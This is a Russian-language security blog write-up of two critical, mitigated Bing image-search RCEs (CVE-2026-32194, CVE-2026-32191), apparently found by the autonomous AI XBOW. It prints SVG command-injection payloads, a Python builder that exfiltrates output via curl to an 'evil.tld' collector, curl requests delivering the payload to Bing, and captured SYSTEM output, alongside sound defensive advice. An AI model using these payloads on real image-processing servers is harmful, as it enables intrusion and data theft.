Логотип ШифрыШифры
ГлавнаяЖурналЛотыУзел ИИВойти
ГлавнаяЖурналЛотыУзел ИИ
Войти
Логотип ШифрыШифры2К26Версияъ1
EmailMAX
Назад к логу

Поиск по картинке в Bing открывает SYSTEM на серверах Microsoft

26 июля 2026 г.•Репа
#атаки#ИИ#код

Одна картинка, скормленная поиску Bing, превратилась в шелл с правами NT AUTHORITY\SYSTEM на рабочих серверах Microsoft. Два критических RCE, оба CVSS 9.8, оба берутся без единой куки, сессии и намёка на аутентификацию – достаточно загрузить в «поиск по картинке» правильно скроенную SVG. Класс бага при этом древний как мир: SVG – это XML, а под капотом обработки картинок сидит ImageMagick-совместимый конвейер, который при неудачной политике безопасности исполняет команды из того, что считает ссылкой на изображение. ImageTragick этому фокусу уже десять лет.

Новое здесь – не дыра, а охотник. Всю цепочку от скучного слепого SSRF до SYSTEM-шелла размотал не человек, а автономный ИИ: XBOW, который значится finder'ом всех трёх CVE в благодарностях Microsoft и стал первым и единственным ИИ в топ-10 их bug bounty. Пройдём по этой цепочке шаг за шагом и увидим, что именно машина сделала такого, чего живые багхантеры годами не замечали.

Скучный баг, который обычно закрывают как informational

Началось всё с сигнала, на который триаж-инженер махнёт рукой не глядя. Обратный поиск по картинке умеет подтягивать изображение по URL – бэкенд ходит за картинкой сам, это ровно то, для чего фича и сделана. С точки зрения атакующего – слепой SSRF нулевой ценности: ответ на клиент не возвращается, а «сервер сходил за поданной картинкой» никого не удивляет. Такое закрывают как low-impact и идут дальше.

Зацепкой стал подозрительный 500, который прилетал, пока бэкенд разбирал то, что стянул. XBOW подтвердил серверный fetch классически – по внеполосному (OOB) HTTP-запросу от инфраструктуры Bing на подконтрольный внешний коллектор, с юзер-агентом bingbot/2.0. И тут же всплыла первая аномалия: эндпоинт за балансировщиком, поэтому часть воркеров возвращала штатную ошибку, вообще не трогая fetch, а уязвимые отдавали клиенту ту же ошибку – но серверный запрос при этом всё равно выполняли. Ошибка перестала быть шумом и стала хлебной крошкой. Весь дальнейший разбор держался на одном вопросе: что происходит с этими байтами после того, как Bing их скачал?

Метод: наблюдай, строй гипотезу, ставь эксперимент

Работа вслепую беспощадна ровно тем, чем и полезна: угадать нельзя, можно только рассуждать. На руках четыре канала сигнала – видимые клиенту статус-коды, редиректы поиска, логи хостинга с пейлоадом и OOB-коллбэки. Каждый пейлоад задавал бэкенду вопрос, а наличие или отсутствие fetch'а было ответом.

Первой гипотезой был XXE. SVG и XML уходили в парсинг глубже обычного контента и возвращали ошибки, характерные для XML-парсера. Но попытки с внешним DTD и XInclude не давали тех исходящих запросов, которых XXE потребовал бы обязательно. Это ослабило гипотезу и сузило поиск – отрицательный результат в такой работе стоит дороже удачи, он говорит, где не тратить следующий эксперимент. Дальше два слоя разъехались: XML-парсер внешние сущности не резолвил, а вот слой рендеринга SVG честно ходил по ссылкам на изображения. Валидный PNG по ссылке давал успешный результат поиска; ссылка на OOB-эндпоинт давала исходящий запрос, но валилась на рендере, потому что коллектор отдавал не картинку.

Отпечаток движка по псевдопротоколам ImageMagick

Дальше XBOW снял отпечаток движка – тем же перебором вопросов. В ход пошли псевдопротоколы ImageMagick: label: рендерился как текст, xc: порождал цветную заливку, vid:-подобные входы давали узнаваемые картинки, а text:, caption:, pango: и прямое чтение файлов – падали. Каждая осечка вычёркивала один coder, каждое срабатывание отмечало живой. Ключевая деталь: метасимволы внутри label: рендерились как текст, а не исполнялись. Это и есть отпечаток – стек ImageMagick или совместимый с ним, с конкретной политикой: часть coder'ов включена, часть выключена.

Отдельно взятая строка трейса не доказывает ничего – важно, сколько их указывает в одну сторону:

[imgref] Status: 200 | Body: {"redirectUrl":"/search?q=Color%20Palette%20Red..."}
[uatest] Status: 500 | Body:
[mslsvg] Status: 500 | Body:
[pipe]   Status: 500 | Body:
[label]  Status: 200 | Body: {"redirectUrl":"/search?q=Test%20Image..."}
[text-etc-passwd] Status: 500 | Body:
[caption-test]    Status: 500 | Body:
[label-pipe]      Status: 200 | Body: {"redirectUrl":"/search?q=How%20To%20Pronounce%20Lid..."}
[label-backtick]  Status: 200 | Body: {"redirectUrl":"/search?q=Id%20Logo..."}
[vid-test]        Status: 200 | Body: {"redirectUrl":"/search?q=120X120%20Test%20Image..."}
[xc-red]          Status: 200 | Body: {"redirectUrl":"/search?q=Abstract%20Curved%20Paper..."}

Фокусы XML-слоя молчат, ссылки уровня рендерера срабатывают, псевдопротоколы двигают поисковую выдачу. Именно этот хор независимых сигналов удержал расследование в слое конвертации картинок вместо того, чтобы списать 500 в тупик. Открытый вопрос сузился до одного: какой из путей, подконтрольных ImageMagick, всё ещё дотягивается до делегата с шеллом?

От SVG до выполнения команды

Дотягивалась – SVG, скормленная конвейеру конвертации. Скроенная SVG доходила до decoder'а с включённым делегатом и запускала команду прямо во время серверного парсинга и растеризации. SSRF во всей истории – только транспорт: он заносил подконтрольную атакующему SVG в небезопасный воркер обработки картинок, а сама дыра сидела в этом воркере. Та же граница доверия жила и в прямой загрузке: снаружи «Search by Image» выглядит как обычный приём картинки – пользователь шлёт данные, Bing их обрабатывает, возвращает похожие. На бэкенде же подконтрольная SVG переползала из обработки изображения в исполнение команды.

Это и есть две Bing-CVE – два маршрута в один и тот же delegate-backed конвейер:

  • CVE-2026-32194 (CWE-77, command injection) – через публичную загрузку «Search by Image»: POST /images/kblob, картинка едет в поле imageBin base64-строкой.
  • CVE-2026-32191 (CWE-78, OS command injection) – серверный путь приёма, тот самый краулерный вариант SSRF: бэкенд-краулер bingbot/2.0 сам идёт за внешней SVG.

Ни один не требует аутентификации, кук, состояния сессии или привилегий. Оба – Critical, CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Скриншот: страница Bing Images с сеткой тем и консоль ИИ-агента, который нашёл форму загрузки со скрытым полем imageBin, отправляющую данные на эндпоинт /images/kblob
Момент, когда агент вскрывает форму загрузки Bing Images: скрытое поле imageBin и эндпоинт /images/kblob, куда и ушла вредоносная SVG

Сам пейлоад после всей этой работы почти разочаровывает простотой. Класс воспроизводится минимальной SVG, где делегат намеренно включён в лабораторном стенде:

<?xml version="1.0"?>
<svg xmlns="http://www.w3.org/2000/svg" width="1" height="1">
  <image href="|id" width="1" height="1"/>
</svg>

Весь трюк в ведущем пайпе: движок принимает |id за ссылку на изображение, а делегат отдаёт это шеллу как команду. Боевой билдер добавляет к команде вывод результата на внешний коллектор:

#!/usr/bin/env python3
import base64, sys

command = sys.argv[1]
oob = "[OOB-COLLECTOR].evil.tld"

svg  = '<?xml version="1.0" encoding="UTF-8"?>\n'
svg += '<svg xmlns="http://www.w3.org/2000/svg" '
svg += 'xmlns:xlink="http://www.w3.org/1999/xlink" '
svg += 'width="100" height="100">\n'
svg += ' <image xlink:href="|' + command
svg += ' | curl -d @- http://' + oob + '/output" '
svg += 'width="100" height="100"/>\n'
svg += '</svg>'

svg_b64 = base64.b64encode(svg.encode()).decode()

Дальше SVG уходит в base64 и постится в форму приёма картинок:

SVG_B64="$(base64 -w0 exploit.svg)"
curl -s -o /dev/null -w '%{http_code}' \
  -F "imageBin=${SVG_B64}" \
  "https://www.bing.com/images/kblob"

А краулерный вариант вообще не требует загрузки – SVG хостится снаружи, и Bing сам приходит за ней своим бэкенд-краулером:

curl -s -D - \
  "https://www.bing.com/images/search?imgurl=https://[PAYLOAD-HOST]/exploit.svg&view=detailv2&iss=sbi"

Доказательство: SYSTEM в проде Bing

Что вернулось – закрыло вопрос об импакте. Команда исполнилась от NT AUTHORITY\SYSTEM на рабочих воркерах обработки картинок Bing под Windows Server 2022 Datacenter, с полным набором SYSTEM-привилегий и членством в админских группах. И это был не один воркер: то же поведение воспроизвелось на нескольких бэкенд-машинах в разных хостах и сетевых диапазонах – значит, дыра сидела во всём tier'е обработки картинок, а не на одной криво настроенной ноде.

Доказательство пришло из OOB-коллбэков, а не из видимого HTTP-ответа – и иначе быть не могло: фронт отдавал клиенту ошибку, пока бэкенд-воркер уже принял картинку, дошёл до уязвимого делегата, исполнил команду и отправил её вывод исходящим запросом изнутри среды обработки. Первый пруф был Linux-стайл id, и коллектор получил root:

POST /output
User-Agent: curl
Body: uid=0(user) gid=0(group)

С Windows-воркеров прилетело договаривающее до конца:

POST /output
Body (systeminfo excerpt):
OS Name: Microsoft Windows Server 2022 Datacenter

POST /output
Body (whoami /all excerpt):
PRIVILEGES INFORMATION
SeImpersonatePrivilege ... Enabled
SeDebugPrivilege ... Enabled

SeImpersonatePrivilege и SeDebugPrivilege на SYSTEM-воркере – это уже даже не «доступ», это ключи от всего хоста.

Валидатор, который чуть не проспал собственный взлом

Здесь – самая показательная деталь про автономность. Флот был гетерогенным: часть воркеров на том же пути обработки оказалась Windows-машинами, а автоматический RCE-валидатор XBOW был написан так, что единственным признаком успеха считал Linux-вывод. То есть машина реально пробила прод, получила SYSTEM – и её же валидатор чуть не записал это в неудачу, потому что ждал uid=0, а пришёл systeminfo. Валидатор узнаёт ровно тот успех, под который его заточили, и этот был заточен под Linux.

Разрулил это не человек. Агент прочитал коллбэки, которые всё-таки вернулись, увидел, что форма ответа другая, и расширил проверку под Windows-пруфы – systeminfo, ipconfig /all, whoami /all, листинги каталогов. По этим листингам, кстати, и стало видно, что команды исполняются внутри мультимедийных компонентов обработки картинок Bing – ровно там, где им и положено быть по легенде. Способность на ходу переписать собственный сломанный инструмент проверки – это ровно та разница между «автономный агент» и «скрипт с пейлоадами».

Класс древний, охотник новый

Работает всё это потому, что SVG – не пиксели. Это XML: он описывает фигуры, встраивает ссылки на другие картинки и дотягивается до фич конвертации, которые пакеты обработки изображений держат ради совместимости. ImageMagick-подобные конвейеры прогоняют богатые форматы через coder'ы, псевдопротоколы и программы-делегаты. Пока вход доверенный – это удобно; как только к тем же фичам дотягивается публичная загрузка или краулер – значение, которое приложению кажется ссылкой на изображение, становится инструкцией для конвертера. А когда конвертер умеет дёргать делегаты с шеллом, граница доверия уже стёрта.

История у вектора длинная. ImageTragick (CVE-2016-3714) задокументировал, как скроенная картинка доходит до coder'ов и делегатов ImageMagick и исполняет команды через шелл-метасимволы; более свежие SVG-to-RCE в ImageMagick и Ghostscript собирают то же самое из MVG, протокол-хендлеров и интерпретаторов-делегатов при слишком широкой политике. И не только ImageMagick: в раскрытом отчёте GitLab на HackerOne загруженные на снятие метаданных файлы определялись по содержимому, а не по расширению, доходили до ExifTool, который никто не собирался выставлять наружу, и давали RCE – тот же класс в другом хелпере. Приложение считает хелперы обработки картинок водопроводом. Атакующий видит в них парсеры.

Защита отсюда прямая и скучная ровно настолько, насколько скучным был исходный баг. Для конвейеров конвертации: вырубить делегаты с вызовом шелла (в том числе пайп-делегаты), держать жёсткие policy.xml и delegates.xml, запретить SVG, MVG и EPS, если они не нужны позарез, а если нужны – гонять в изолированной песочнице с урезанными привилегиями и обрезанным исходящим трафиком. Для фич, которые ходят за пользовательским URL: allowlist назначений, валидация схемы, контроль редиректов, защита от DNS-rebinding и блок доступа к метадата-сервисам и внутренним адресам.

Вывод: кто заметил 500, который все логируют и забывают

Дыра здесь – музейный экспонат, и статья не о ней. Она о том, кто её нашёл. Автономный агент удержал путь от слепого SSRF, который штатно закрывают как informational, через десятки тупиков до SYSTEM-шелла – без человека, рулящего каждым шагом. Он сам отбросил XXE, сам снял отпечаток движка по псевдопротоколам, сам собрал пейлоад и сам, поймав нестыковку в собственном валидаторе, переписал его под чужую ОС посреди пробоя. XBOW за это – первый и единственный ИИ в топ-10 bug bounty Microsoft, рядом с живыми багхантерами и выше большинства из них.

И это не единичный трюк, а уже видимая линия. Как мы разбирали, когда автономный агент прошёл корпоративную сеть Hugging Face до полного захвата, там машина работала атакующим в чужом проде; здесь та же машина работает багхантером в чужом проде. Одна и та же способность, две шляпы – и вопрос лишь в том, на кого она в этот раз направлена. В том же дисклоузе, тем же архетипом «хелпер как водопровод» XBOW заодно принёс и третий критический RCE – CVE-2026-21536 в Microsoft Devices Pricing Program, через неограниченную загрузку исполняемых на сервере файлов.

Финальный штрих – от самой Microsoft. Обе Bing-CVE выпущены как облачные (Cloud Service CVE) и к моменту публикации уже полностью митигированы: патчить пользователю нечего, дыра была в собственном флоте Microsoft, а сами CVE опубликованы 19 марта 2026 «ради прозрачности». То есть даже бумажная сторона истории признаёт: вскрыли не абстрактный продукт, а рабочий прод. Настоящая новость не в том, что где-то снова ожил ImageTragick. Она в том, что 500, который любой из нас залогировал бы и забыл, заметил, дожал через тупики и довёл до шелла с правами SYSTEM автономный ИИ – не человек.

Автор: hacker@shifry.local